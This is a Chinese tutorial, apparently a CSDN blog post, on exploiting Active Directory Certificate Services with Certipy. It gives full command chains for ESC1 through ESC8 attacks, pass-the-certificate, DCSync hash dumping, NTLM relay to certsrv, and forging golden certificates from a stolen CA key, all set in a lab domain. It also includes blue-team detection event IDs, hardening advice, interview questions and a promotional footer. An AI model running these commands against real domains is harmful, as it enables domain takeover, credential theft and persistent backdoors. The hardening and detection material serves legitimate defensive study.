域渗透神器 Certipy:AD‑CS 证书漏洞挖掘与利用
免责声明本文全部技术内容仅限授权渗透测试、红蓝对抗、安全学习研究使用。未经目标域环境书面授权禁止在企业 AD 域执行证书枚举、证书申请、提权、伪造证书等攻击操作未授权访问计算机系统属于违法行为。全部演示基于自建隔离靶场请勿直接复制命令到业务内网执行。目录1. AD‑CS 基础概念什么是 ESC 漏洞系列1.1 AD‑CS 是什么1.2 ESC 漏洞系列简介2. Certipy 环境安装、基础参数说明2.1 安装命令2.2 Certipy 核心子模块总览2.3 通用公共参数3. 信息收集枚举 CA 机构、扫描证书模板、自动识别 ESC 漏洞3.1 基础扫描命令3.2 导出完整 json 报告后续可以二次分析4. ESC1 漏洞原理 Certipy 完整实战最经典高危模板漏洞4.1 ESC1 漏洞原理4.2 ESC1 漏洞完整利用命令5. ESC2、ESC3 漏洞原理与实操5.1 ESC2 漏洞 Any Purpose 任意用途 EKU5.2 ESC3 Enrollment Agent 证书申请代理6. ESC4 漏洞模板 ACL 权限滥用修改模板构造 ESC1 漏洞6.1 ESC4 原理6.2 Certipy ESC4 完整操作流程7. ESC6 CA 全局配置漏洞ESC8 NTLM 中继攻击 AD‑CS Web 端点7.1 ESC6 CA 全局 EDITF_ATTRIBUTESUBJECTALTNAME2 漏洞7.2 ESC8 NTLM Relay 中继攻击 AD‑CS Web 注册端点8. Pass‑the‑Certificatepfx 证书认证拿到域用户 NTLM 哈希9. 完整靶场实战普通域用户通过 ESC1 漏洞拿下域控完整链路10. CA 备份、证书持久化、Golden Certificate 黄金证书伪造10.1 导出 CA 备份 pfx需要 CA 服务器本地管理员权限10.2 forge 模块离线伪造黄金证书11. Certipy 高频报错踩坑大全问题 1certipy‑ad find 扫描 LDAP 连接失败问题 2certipy‑ad req 申请证书返回 Denied拒绝申请问题 3证书申请成功拿到 pfx但是 certipy‑ad auth 认证失败问题 4ESC4 修改模板之后申请证书依旧失败问题 5ESC8 NTLM‑Relay 没有拿到 pfx 证书问题 6pfx 证书导入 WindowsRubeus asktgt 失败12. Certipy 与 Certify、Rubeus 工具配合使用13. 蓝队视角AD‑CS 攻击日志检测、加固修复方案13.1 关键事件 ID 狩猎13.2 企业 AD‑CS 加固修复建议14. AD‑CS Certipy 面试高频考点整理15. 全文总结一、网络安全黑客学习路线二、网络安全教程视频三、网络安全CTF实战案例四、网络安全面试题摘要AD‑CSActive Directory Certificate Services活动目录证书服务是 Windows 域环境常用组件用于颁发域内用户、机器身份证书。大量企业运维对证书模板权限配置疏忽产生 ESC1‑ESC8 等高危配置漏洞攻击者仅凭普通域用户权限即可申请伪造域管理员证书通过证书认证拿下域控权限实现域提权、横向移动、持久化后门。Certipy 是目前 AD‑CS 攻击最主流开源工具完全替代旧版 Certify 工具支持 CA 证书机构枚举、证书模板扫描、自动识别 ESC 系列漏洞、申请恶意证书、证书认证、NTLM‑Relay 配合 ESC8 攻击、证书持久化、CA 备份伪造证书等全套能力。很多安全学习者只会简单跑certipy find扫描看不懂扫描输出报告分不清 ESC 各个漏洞利用前置条件申请证书报错、pfx 证书认证失败搞不懂 Pass‑the‑Certificate 证书传递原理遇到证书模板审批、ACL 权限问题束手无策。本文完整讲解 AD‑CS 基础概念、Certipy 环境安装、信息枚举、ESC1/ESC2/ESC3/ESC4/ESC6/ESC8 漏洞原理 完整实战命令、证书认证 Pass‑the‑Certificate、完整攻击链路、高频踩坑排错、蓝队检测加固方案、面试高频考点形成完整实战手册。MITRE ATTCK 映射T1649 窃取或伪造身份证书T1558 Kerberos 票据伪造T1550.003 Pass‑the‑Ticket 票据传递T1021.002 SMB 横向移动。1. AD‑CS 基础概念什么是 ESC 漏洞系列1.1 AD‑CS 是什么AD‑CS 是 Windows 活动目录证书服务企业部署之后搭建 CA 证书服务器可以给域用户、域机器颁发 X.509 数字证书。证书携带用户身份信息UPN、SID支持 Kerberos 证书认证拿到合法证书就可以代表对应账号身份登录域不需要明文密码、不需要 NTLM 哈希。证书里面两个关键属性SANSubject Alternative Name主题备用名称可以填写账号 UPN标识这个证书代表哪一个域账号EKU增强型密钥用法决定证书能干什么Client Authentication(1.3.6.1.5.5.7.3.2)代表客户端身份认证拥有这个 EKU 的证书才能用来做域 Kerberos 认证。核心风险如果配置出错攻击者申请证书时可以自定义 SAN填写域管理员 UPNCA 服务器就会颁发一张代表域管理员的合法证书攻击者拿着 pfx 证书文件就能以域管理员身份和域控通信。1.2 ESC 漏洞系列简介ESC 是 “Misconfigured Certificate Template” 系列漏洞代号不是软件 0day 漏洞绝大多数属于配置错误只有少量属于 CVE 代码漏洞。漏洞编号核心简述攻击前置条件ESC1申请者可自定义 SAN模板拥有 Client‑Auth EKU普通用户拥有注册权限低权限用户可以 Enroll 注册模板模板开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标记包含客户端认证 EKUESC2模板 EKU 无限制 Any Purpose任意用途证书模板 EKU 为 Any Purpose允许注册可自定义 SANESC3Enrollment Agent 申请代理 EKU可代表其他用户申请证书存在证书申请代理模板第二个模板允许代理注册ESC4低权限用户拥有模板写权限 (WriteDacl/WriteOwner/WriteProperty)攻击者可以修改模板属性把安全模板改成 ESC1 恶意模板ESC5CA 机构对象 ACL 权限配置错误对 CA 对象拥有高权限可篡改 CA 配置ESC6CA 全局开启 EDITF_ATTRIBUTESUBJECTALTNAME2CA 服务器全局允许所有模板申请者自定义 SAN所有模板全部沦陷高危ESC7CA 管理员权限滥用添加证书管理员审批恶意证书申请拥有 CA 管理员权限手动颁发恶意证书ESC8AD‑CS Web 注册端点支持 NTLM 认证可 Responder 中继CA 开启 HTTP 证书注册服务支持 NTLM 认证配合 NTLM Relay 获取机器证书certipy.co…注意ESC 漏洞不等于代码漏洞绝大多数是运维配置不当打补丁无法修复需要修改证书模板、CA 权限配置。Certipy 工具可以自动扫描识别以上全部风险点。2. Certipy 环境安装、基础参数说明Certipy 项目原仓库 ly4k/Certipy现在维护包名为certipy‑adKali 使用 pip 安装注意包名不是 certipy是 certipy‑ad很多新手安装错包。2.1 安装命令#pip安装最新版本 pip3 install certipy‑ad #查看帮助确认安装成功 certipy‑ad -h工具执行命令certipy‑ad部分环境可以软链接别名certipy。2.2 Certipy 核心子模块总览子命令模块功能说明certipy‑ad find信息枚举扫描 CA、证书模板自动检测 ESC 漏洞最重要模块certipy‑ad req发起证书申请请求向 CA 申请证书certipy‑ad auth使用 pfx 证书做认证获取 TGT 票据导出账号 NTLM 哈希Pass‑the‑Certificatecertipy‑ad ca管理 CA 服务器发布证书、处理待审批请求、备份 CA 证书数据库certipy‑ad template修改证书模板配置ESC4 利用certipy‑ad forgeCA 私钥备份之后伪造 Golden Certificate 黄金证书2.3 通用公共参数-u / -username域账号格式 usercorp.local -p / -password账号密码 -dc‑ip填写域控IPDNS解析异常时必须指定 ‑targetCA证书服务器主机名或者IP ‑ca指定CA证书机构名称扫描find结果可以拿到CA名字环境注意Kali 的/etc/resolv.conf必须配置域 DNS域控 IP否则 LDAP 枚举、Kerberos 证书认证全部失败系统时间和域控时间误差不能大于 5 分钟Kerberos 严格校验时间。3. 信息收集枚举 CA 机构、扫描证书模板、自动识别 ESC 漏洞渗透测试拿到普通域用户账号密码之后第一步使用certipy‑ad find做全量扫描自动枚举域内所有 CA 服务器、全部证书模板自动判断哪些模板存在 ESC 风险。3.1 基础扫描命令certipy‑ad find -u lowusercorp.local -p Password123 -dc‑ip 192.168.10.10 -vulnerable -enabled -stdout参数解释-vulnerable只输出识别出来存在 ESC 漏洞的模板过滤安全模板-enabled只扫描启用状态的证书模板-stdout控制台直接输出不保存 json 文件不写该参数会自动输出 json 报告。扫描输出重点观察内容Certificate Authorities列出域全部 CA 机构名称、CA 服务器主机地址Vulnerable Templates列出所有存在 ESC 风险的模板标记 ESC1/ESC2/ESC4 编号每一个模板输出模板名、需要的 ESC 条件、哪些用户组拥有 Enroll注册权限。关键判断即使模板标记 ESC1如果普通域用户没有 Enroll 注册权限也无法直接利用。3.2 导出完整 json 报告后续可以二次分析certipy‑ad find -u lowusercorp.local -p Password123 -dc‑ip 192.168.10.10执行之后本地生成certipy‑find.json保存全部 CA、模板详细属性。坑点扫描失败报错 LDAP 连接超时检查 Kali DNS 配置、防火墙 389 端口连通域控。4. ESC1 漏洞原理 Certipy 完整实战最经典高危模板漏洞4.1 ESC1 漏洞原理ESC1 是实战环境遇到最多的 AD‑CS 配置错误。满足全部 3 个条件即可利用证书模板开启标记CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT允许证书申请者自定义 SAN 主题备用名称模板 EKU 包含Client Authentication(1.3.6.1.5.5.7.3.2)客户端认证用途普通域用户Authenticated Users / Domain Users拥有这个模板的 Enroll 注册权限。攻击者使用普通账号申请证书手动指定‑upn administratorcorp.localCA 服务器不会校验 SAN 身份直接颁发一张代表域管理员的 pfx 证书拿到 pfx 文件就可以模拟域管理员身份做 Kerberos 认证。重点模板本身没有绑定真实账号身份攻击者申请的时候随便写 UPN。4.2 ESC1 漏洞完整利用命令扫描发现漏洞模板名称Vuln‑User‑TemplateCA 名称为CORP‑DC01‑CA。第一步向 CA 服务器申请证书指定伪造的 UPN 为域管理员certipy‑ad req \ ‑u lowusercorp.local \ ‑p Password123 \ ‑ca CORP‑DC01‑CA \ ‑template Vuln‑User‑Template \ ‑upn administratorcorp.local \ ‑dc‑ip 192.168.10.10 \ ‑target dc01.corp.local执行成功输出Saved certificate and private key to administrator.pfx本地生成administrator.pfx包含证书 私钥这个文件就是域管理员身份凭证。如果模板开启 “证书申请需要管理员审批”申请之后不会直接下发会返回 Request ID需要 CA 管理员执行certipy‑ad ca ‑issue‑request id审批才能拿到证书。第二步拿到 pfx 证书执行 Pass‑the‑Certificate 证书认证获取 Kerberos TGT 票据导出 NTLM 哈希certipy‑ad auth -pfx administrator.pfx -dc‑ip 192.168.10.10工具会完成使用 pfx 证书向 KDC 申请域管理员 TGT 票据输出 administrator 账号 NTLM Hash自动保存 ccache 票据文件administrator.ccache。拿到 ccache 之后设置环境变量就可以使用 Impacket 全套工具执行 DCSync、访问域控资源export KRB5CCNAMEadministrator.ccache secretsdump.py -k dc01.corp.localESC1 完整攻击链路普通域用户账号 → 申请伪造 SAN 证书 → 获取 pfx → 证书认证拿到 TGT 与 NTLM 哈希 → DCSync 导出域全部哈希拿下整个域。5. ESC2、ESC3 漏洞原理与实操5.1 ESC2 漏洞 Any Purpose 任意用途 EKUESC2 条件证书模板 EKU 设置为Any Purpose任意用途同时允许申请者提供 SAN普通用户拥有 Enroll 注册权限。Any Purpose 代表这张证书可以用于所有操作包含客户端身份认证。利用方式和 ESC1 几乎一模一样申请证书指定‑upn 伪造管理员 UPN。certipy‑ad req \ ‑u lowusercorp.local \ ‑p Password123 \ ‑ca CORP‑DC01‑CA \ ‑template ESC2‑Template \ ‑upn administratorcorp.local \ ‑dc‑ip 192.168.10.10拿到 pfx 之后同样使用certipy‑ad auth完成证书认证。5.2 ESC3 Enrollment Agent 证书申请代理ESC3 分为两步攻击需要两套模板模板 A拥有Certificate Request Agent证书申请代理EKU普通用户可以注册申请得到一张代理 Agent 证书模板 B支持 Enroll On Behalf Of代表其他人申请可以使用 Agent 证书代表其他账号申请证书。攻击流程第一步申请 Enrollment Agent 代理证书certipy‑ad req \ ‑u lowusercorp.local \ ‑p Password123 \ ‑ca CORP‑DC01‑CA \ ‑template Agent‑Template \ ‑dc‑ip 192.168.10.10输出得到 agent.pfx 代理证书。第二步使用代理证书代表域管理员申请客户端认证证书certipy‑ad req \ ‑u lowusercorp.local \ ‑p Password123 \ ‑ca CORP‑DC01‑CA \ ‑template User \ ‑on‑behalf‑of administratorcorp.local \ ‑agent‑pfx agent.pfx \ ‑dc‑ip 192.168.10.10拿到 administrator.pfx继续 certipy‑ad auth 认证。ESC3 现实环境相对 ESC1 少见企业很少配置 Enrollment Agent 模板。6. ESC4 漏洞模板 ACL 权限滥用修改模板构造 ESC1 漏洞6.1 ESC4 原理ESC4 不属于模板本身属性漏洞当低权限域用户对某一张证书模板拥有写权限WriteDacl / WriteProperty / WriteOwner攻击者可以远程修改这个证书模板配置人为把普通安全模板修改成 ESC1 漏洞模板之后再申请恶意证书完成提权。攻击前置条件当前账号对证书模板对象拥有 WriteDacl / WriteProperty / WriteOwner 权限模板本身启用允许当前用户 Enroll 注册。攻击风险会修改 AD 域内真实证书模板配置红蓝对抗环境结束必须恢复模板原始配置避免影响业务。6.2 Certipy ESC4 完整操作流程第一步备份模板原始配置非常重要攻击结束还原certipy‑ad template \ ‑u lowusercorp.local \ ‑p Password123 \ ‑dc‑ip 192.168.10.10 \ ‑template Safe‑User‑Template \ ‑save‑old原始配置保存为 json 文件。第二步修改模板增加 ESC1 漏洞属性开启允许申请者提供 SAN添加 Client‑Auth EKUcertipy‑ad template \ ‑u lowusercorp.local \ ‑p Password123 \ ‑dc‑ip 192.168.10.10 \ ‑template Safe‑User‑Template \ ‑set‑enrollee‑supplies‑subject true \ ‑add‑eku Client Authentication修改完成之后这个模板就具备 ESC1 全部条件。第三步像 ESC1 一样使用修改之后的模板申请伪造管理员证书certipy‑ad req \ ‑u lowusercorp.local \ ‑p Password123 \ ‑ca CORP‑DC01‑CA \ ‑template Safe‑User‑Template \ ‑upn administratorcorp.local \ ‑dc‑ip 192.168.10.10第四步攻击完成恢复模板原始配置一定要执行不要遗留风险配置在域环境certipy‑ad template \ ‑u lowusercorp.local \ ‑p Password123 \ ‑dc‑ip 192.168.10.10 \ ‑template Safe‑User‑Template \ ‑load‑old safe‑user‑template‑old.json重大 OPSEC 提醒ESC4 会改动 AD 对象属性域控制器会产生大量 4662 AD 对象修改日志蓝队很容易捕获攻击行为。7. ESC6 CA 全局配置漏洞ESC8 NTLM 中继攻击 AD‑CS Web 端点7.1 ESC6 CA 全局 EDITF_ATTRIBUTESUBJECTALTNAME2 漏洞ESC6 不是模板漏洞是CA 证书服务器本身注册表全局配置开启EDITF_ATTRIBUTESUBJECTALTNAME2标记之后域内所有证书模板全部允许申请者自定义 SAN无论模板本身配置是什么整个 AD‑CS 全部沦陷高危等级最高。运维错误命令certutil -setreg policy\EditFlags EDITF_ATTRIBUTESUBJECTALTNAME2开启 ESC6 风险修复命令把加号改为减号重启 certsvc 证书服务。利用方式和 ESC1 完全一致随便找一个具备 Client‑Auth EKU、允许注册的模板申请证书时指定‑upn 即可伪造身份。certipy‑ad req \ ‑u lowusercorp.local \ ‑p Password123 \ ‑ca CORP‑DC01‑CA \ ‑template User \ ‑upn administratorcorp.local \ ‑dc‑ip 192.168.10.107.2 ESC8 NTLM Relay 中继攻击 AD‑CS Web 注册端点ESC8 不需要域账号密码依赖 NTLM 中继攻击。前提条件CA 服务器开启 HTTP 证书注册 Web 服务http://ca/certsrv该 Web 端点支持 NTLM 身份认证。攻击原理使用 Responder 捕获内网机器 NTLM Net‑NTLMv2 认证中继到 CA 的 /certsrv 证书注册接口以被中继机器账号身份申请机器证书拿到机器 pfx 证书文件。拿到域控机器账号证书就可以 DCSync 导出域全部哈希。Certipy ESC8 配合 impacket‑relay 脚本监听中继impacket‑ntlmrelayx.py -t http://ca01/certsrv/certfnsh.asp -smb2support --adcs当受害者机器向攻击机做 NTLM 认证relay 会自动向 CA 申请机器证书保存 pfx 证书。拿到机器 pfx 之后certipy‑ad auth 完成认证。ESC8 风险很多企业开启 AD‑CS 的 Web 注册页面没有关闭 NTLM 认证内网一台机器沦陷直接中继拿域控权限。8. Pass‑the‑Certificatepfx 证书认证拿到域用户 NTLM 哈希Pass‑the‑CertificatePtC证书传递对应票据传递 PTTpfx 证书就是身份凭证。pfx 文件内部包含X509 证书 对应的 RSA 私钥。Certipy 的certipy‑ad auth模块封装 PtC 完整逻辑使用证书私钥向域控 KDC 发送 AS‑REQ 请求申请该账号 TGT 票据成功获取 TGT 之后工具会同时输出账号 NTLM 哈希自动输出 ccache 票据文件给 Impacket 工具使用。#pfx文件无密码直接执行 certipy‑ad auth -pfx administrator.pfx -dc‑ip 192.168.10.10 #pfx设置密码使用‑password参数 certipy‑ad auth -pfx administrator.pfx -password 123456 -dc‑ip 192.168.10.10Windows 平台Rubeus 工具也支持 PtCRubeus.exe asktgt /pfx:administrator.pfx生成 kirbi 票据mimikatz kerberos::ptt 注入。重要pfx 证书本身可以离线拷贝内网横向移动攻击者可以把 pfx 拷贝到任意一台机器只要网络连通域控就能完成 Kerberos 认证不需要登录原始申请证书主机。9. 完整靶场实战普通域用户通过 ESC1 漏洞拿下域控完整链路靶场环境域 corp.local域控 dc01.corp.local192.168.10.10CA 部署在域控普通域账号 lowuser密码 Password123扫描发现存在 ESC1 漏洞模板 VulnTemplate。步骤 1配置 Kali DNS 指向域控 IP保证 LDAP、Kerberos 解析正常echo nameserver 192.168.10.10 /etc/resolv.conf步骤 2扫描 AD‑CS确认 ESC1 漏洞模板certipy‑ad find -u lowusercorp.local -p Password123 -dc‑ip 192.168.10.10 -vulnerable -enabled -stdout步骤 3利用 ESC1 模板申请伪造域管理员 UPN 证书certipy‑ad req -u lowusercorp.local -p Password123 -ca CORP‑DC01‑CA -template VulnTemplate -upn administratorcorp.local -dc‑ip 192.168.10.10本地得到 administrator.pfx。步骤 4Pass‑the‑Certificate 证书认证获取 TGT、NTLM 哈希、ccache 票据certipy‑ad auth -pfx administrator.pfx -dc‑ip 192.168.10.10输出 administrator NT‑Hash生成 administrator.ccache。步骤 5设置 KRB5CCNAME 环境变量使用 Impacket secretsdump 执行 DCSync导出域全部账号哈希export KRB5CCNAMEadministrator.ccache secretsdump.py -k dc01.corp.local至此普通域用户权限通过 AD‑CS ESC1 配置错误完全拿下整个活动目录域。10. CA 备份、证书持久化、Golden Certificate 黄金证书伪造Golden Certificate黄金证书区别于黄金票据。攻击者拿到 CA 服务器的 CA 私钥备份 pfx 文件可以本地离线伪造任意账号证书不需要和 CA 服务器交互属于域持久化后门。10.1 导出 CA 备份 pfx需要 CA 服务器本地管理员权限在 CA 服务器执行 certutil 备份 CA 数据库与私钥或者 Certipy 远程备份certipy‑ad ca -backup -ca CORP‑DC01‑CA -u caadmincorp.local -p Password123 -dc‑ip 192.168.10.10得到 ca.pfx里面是 CA 根证书 CA 签名私钥。10.2 forge 模块离线伪造黄金证书拿到 ca.pfx 之后攻击者本地离线伪造任意账号 pfx 证书不需要访问 CA 服务器。certipy‑ad forge \ ‑ca‑pfx ca.pfx \ ‑upn administratorcorp.local \ ‑dc‑ip 192.168.10.10输出伪造的 administrator‑golden.pfx使用 certipy‑ad auth 认证。防御关键点CA 私钥一旦泄露仅仅修改域账号密码无效必须重新部署 CA更换全部根证书所有业务证书全部重新签发。11. Certipy 高频报错踩坑大全问题 1certipy‑ad find 扫描 LDAP 连接失败排查Kali/etc/resolv.conf没有填写域 DNS域控 IP防火墙拦截 389 LDAP 端口账号密码错误域账号格式必须 usercorp.local。问题 2certipy‑ad req 申请证书返回 Denied拒绝申请当前账号对模板没有 Enroll 注册权限模板开启证书申请审批申请需要 CA 管理员手动 Issue‑Request 审批模板 EKU 没有 Client Authentication申请成功拿到 pfx 也不能做 Kerberos 身份认证ESC6 没有开启普通模板不允许自定义‑upn 参数强行指定 SAN 会直接拒绝。问题 3证书申请成功拿到 pfx但是 certipy‑ad auth 认证失败Kali 系统时间与域控时间相差超过 5 分钟Kerberos 时间校验失败证书有效期过期证书缺少 Client Authentication EKU证书不能用于身份认证DNS 无法解析域控主机名。问题 4ESC4 修改模板之后申请证书依旧失败修改模板之后 AD 复制存在延迟等待 AD 复制同步确认模板修改成功再次 find 扫描确认属性。红蓝对抗结束必须恢复原始模板配置。问题 5ESC8 NTLM‑Relay 没有拿到 pfx 证书CA 服务器 certsrv 网页关闭Web 端点禁用 NTLM 认证防火墙拦截目标主机没有向攻击机发起 NTLM 认证。问题 6pfx 证书导入 WindowsRubeus asktgt 失败pfx 证书私钥损坏证书没有客户端认证 EKU域控开启证书强映射校验。12. Certipy 与 Certify、Rubeus 工具配合使用Certipy vs CertifyCertify 是 C# 开发 Windows 工具老一代 AD‑CS 扫描工具Certipy 是现代主流工具运行在 Linux功能更全支持 ESC 全系列、ESC8 中继、模板修改、CA 备份、forge 伪造黄金证书项目持续维护。现在渗透优先 Certipy。Certipy Rubeus 配合工作流CertipyLinux扫描 AD‑CS、申请 pfx 证书把 pfx 传到 Windows 靶机Rubeus.exeasktgt /pfx:xxx.pfx在 Windows 上使用 pfx 证书申请 TGT输出 kirbi 票据mimikatz kerberos::ptt 注入票据。工作流Linux Certipy 拿到 pfx → 传到被控 Windows 主机 → Rubeus 做 PtC拿到 kirbi 票据内网横向。13. 蓝队视角AD‑CS 攻击日志检测、加固修复方案AD‑CS 攻击行为日志主要看 CA 服务器事件日志、域控 AD 安全日志。13.1 关键事件 ID 狩猎CA 服务器事件 ID 4887CA 颁发证书事件观察证书申请者账号与证书 SAN 内 UPN 账号不一致就是 ESC1 攻击特征普通低权限用户申请一张 UPN 为域管理员的证书高风险告警。4888证书申请被拒绝域控 Sysmon 监控异常进程读取 CA 数据库文件AD 对象 4662 事件证书模板对象 WriteProperty、WriteDacl 修改操作ESC4 攻击。13.2 企业 AD‑CS 加固修复建议修复 ESC1证书模板取消CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标记非业务需要禁止申请者自定义 SAN严格控制模板 Enroll 注册权限普通 Authenticated Users 不要授予注册权限。修复 ESC6 高危清除 CA 注册表EDITF_ATTRIBUTESUBJECTALTNAME2标记重启 certsvc 证书服务。修复 ESC4收紧证书模板对象 ACL 权限普通域用户禁止 WriteDacl、WriteOwner、WriteProperty 权限。ESC8AD‑CS 的 certsrv Web 注册端点禁用 NTLM 认证强制使用 Kerberos 认证。最小权限原则不要给普通域用户证书模板注册权限定期使用 Certipy 做安全审计扫描全部模板。CA 服务器做好隔离CA 属于高价值资产不要和业务应用共用服务器。安全事件发生如果怀疑 CA 私钥泄露必须重建 CA重新签发所有业务证书。14. AD‑CS Certipy 面试高频考点整理什么是 AD‑CS ESC 漏洞属于 0day 吗绝大多数 ESC 漏洞属于证书模板、CA 服务配置错误不是软件漏洞打补丁无法修复需要修改权限和模板属性。ESC1 漏洞触发的三个必要条件①模板开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT允许申请者自定义 SAN②模板 EKU 包含 Client Authentication 客户端认证③低权限用户拥有模板 Enroll 注册权限。攻击者申请证书指定‑upn 伪造高权限账号身份。ESC1 攻击完整链路普通域用户 → Certipy req 申请证书自定义 SAN (UPN) → 获取 pfx 证书文件 → Pass‑the‑Certificate 证书认证向 KDC 申请 TGT → 获取 ccache 票据执行 DCSync 拿下域控。Pass‑the‑Certificate (PtC) 证书传递原理和 PTT 区别pfx 证书证书 私钥作为身份凭证向 KDC 申请 TGTPTT 使用 kirbi/ccache 票据PtC 源头是证书PTT 源头是已经拿到的 Kerberos 票据。Linux 使用 certipy‑ad authWindows 可以 Rubeus asktgt 加载 pfx。ESC4 漏洞原理攻击注意事项账号拥有证书模板 WriteDacl/WriteProperty/WriteOwner 权限修改模板属性人为构造 ESC1 漏洞。攻击会修改 AD 真实模板红蓝对抗结束必须还原模板原始配置产生大量 AD 对象修改日志OPSEC 风险高。ESC6 漏洞是什么危害CA 全局注册表开启 EDITF_ATTRIBUTESUBJECTALTNAME2域内所有证书模板全部允许自定义 SAN整个 AD‑CS 沦陷高危漏洞修改注册表重启证书服务修复。ESC8 漏洞原理AD‑CS 的 certsrv Web 注册端点支持 NTLM 认证利用 NTLM Relay 中继内网机器认证以受害者身份向 CA 申请机器证书不需要账号密码。Golden Certificate 黄金证书和黄金票据区别黄金票据伪造 TGT需要 krbtgt 账号哈希黄金证书拿到 CA 服务器根私钥 pfx本地离线伪造任意账号证书不需要和 CA 交互CA 私钥泄露危害极大仅修改账号密码无法防御。Certipy 主要子命令find 模块作用find枚举 CA 机构、证书模板自动识别 ESC1‑ESC8 风险req申请证书authpfx 证书认证template 修改模板ca 管理 CAforge 伪造黄金证书。防御 AD‑CS 配置漏洞的关键措施关闭不必要模板的 Enrollee‑Supplies‑Subject收紧模板 ACL修复 ESC6 注册表certsrv 关闭 NTLM 认证定期 Certipy 审计CA 服务器隔离。15. 全文总结AD‑CS 证书服务是现代域渗透中非常重要攻击面大量企业忽略证书模板权限审计普通域用户权限即可直接拿下域控。Certipy 是 AD‑CS 攻击标准工具完整覆盖枚举扫描、漏洞利用、证书认证、中继攻击、模板修改、CA 备份伪造黄金证书全套能力。渗透流程certipy‑ad find扫描识别 ESC 风险模板 → req 申请恶意 pfx 证书 → auth 模块 Pass‑the‑Certificate 证书认证拿到 Kerberos TGT 与 NTLM 哈希后续 DCSync 拿下整个域。ESC1 实战出现频率最高ESC6 属于全局高危配置影响域全部模板ESC4 依靠 ACL 写权限篡改模板ESC8 依靠 NTLM 中继不需要账号密码。pfx 证书可以离线拷贝横向移动只要连通域控任意主机都可以做 PtC 证书认证。ESC4 攻击会修改 AD 对象配置红蓝对抗测试完成务必要还原模板原始属性避免遗留安全风险。蓝队检测重点监控 CA 服务器 4887 证书颁发事件检测申请者账号和证书 SAN 账号不一致行为收紧证书模板 ACL 权限定期使用 Certipy 做 AD‑CS 安全审计。CA 私钥泄露后果极其严重攻击者可以离线伪造黄金证书仅修改域账号密码无法消除后门必须重建 CA 服务。再次声明本文所有技术仅限授权安全测试学习未授权访问 AD 域、滥用 AD‑CS 属于违法行为。以上就是今天的分享觉得有帮助记得点赞收藏以上所说到的漏洞扫描工具都整理成压缩包了朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】同时还为准备学习网络安全黑客或者正在学习整理了一套360独家内部资料包含以下内容如有需要也可文末获取①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

相关新闻

软考高项备考:每日5题训练法与解题技巧

软考高项备考:每日5题训练法与解题技巧

1. 项目背景与价值解析"3.13软考高项-每日5题"这个标题看似简单,却蕴含着备考者最迫切的需求。作为参加过多次软考高项(信息系统项目管理师)的过来人,我深知最后冲刺阶段每日保持题感的重要性。这个每日5题的训练模式&a…

2026/10/14 2:14:21 阅读更多 →
城域网SDN算法实战:路径计算、多径调度与故障收敛

城域网SDN算法实战:路径计算、多径调度与故障收敛

前两周在某地市的城域网机房做夜间割接,折腾的不是设备,而是把一张跑了快十年的老网平移进SDN控制面。这活儿做过的人都知道,真正让人熬夜到凌晨的从来不是交换机本身,而是控制器上那套网络工程算法。PPT上讲起来三页纸&#xff0…

2026/10/14 2:14:21 阅读更多 →
Bitnami Spark Helm Chart 版本演进全解:从 0.0.1 到 10.x 的功能、安全与部署实践

Bitnami Spark Helm Chart 版本演进全解:从 0.0.1 到 10.x 的功能、安全与部署实践

云原生容器编排 【免费下载链接】charts Bitnami Helm Charts 项目地址: https://gitcode.com/GitHub_Trending/charts30/charts 点击查看 免费下载 Apache Spark 是面向大规模数据处理、机器学习与实时流计算的高性能计算引擎,支持 Java、Python、Scal…

2026/10/14 2:14:21 阅读更多 →

最新新闻

Python爬虫实战:手机APP数据抓取与解析全流程

Python爬虫实战:手机APP数据抓取与解析全流程

简介:这份PDF资料面向具备Python基础、对网络请求与爬虫开发感兴趣的技术爱好者与研发工程师,围绕手机APP数据传输的抓取与解析展开,重点讲解如何借助Fiddler抓包定位登录与话题接口,再通过urllib2构造HTTP请求、携带Header与表单…

2026/10/14 3:04:31 阅读更多 →
C++ 对接 S3 对象存储实战:SDK 选型、分片上传与避坑指南

C++ 对接 S3 对象存储实战:SDK 选型、分片上传与避坑指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/14 3:04:31 阅读更多 →
SQLite安装全指南:嵌入式数据库跨平台配置与常见坑

SQLite安装全指南:嵌入式数据库跨平台配置与常见坑

第一次折腾SQLite的时候,我找了一圈“Setup.exe”,愣是没找到。下载页面全是压缩包,网上一堆教程各写各的,有人说不用装,有人说得编译源码,看得人发懵。后来我才搞明白:SQLite的“安装”逻辑跟M…

2026/10/14 3:04:31 阅读更多 →
C++手写数据结构实战:动态数组、哈希表、AVL树与图算法

C++手写数据结构实战:动态数组、哈希表、AVL树与图算法

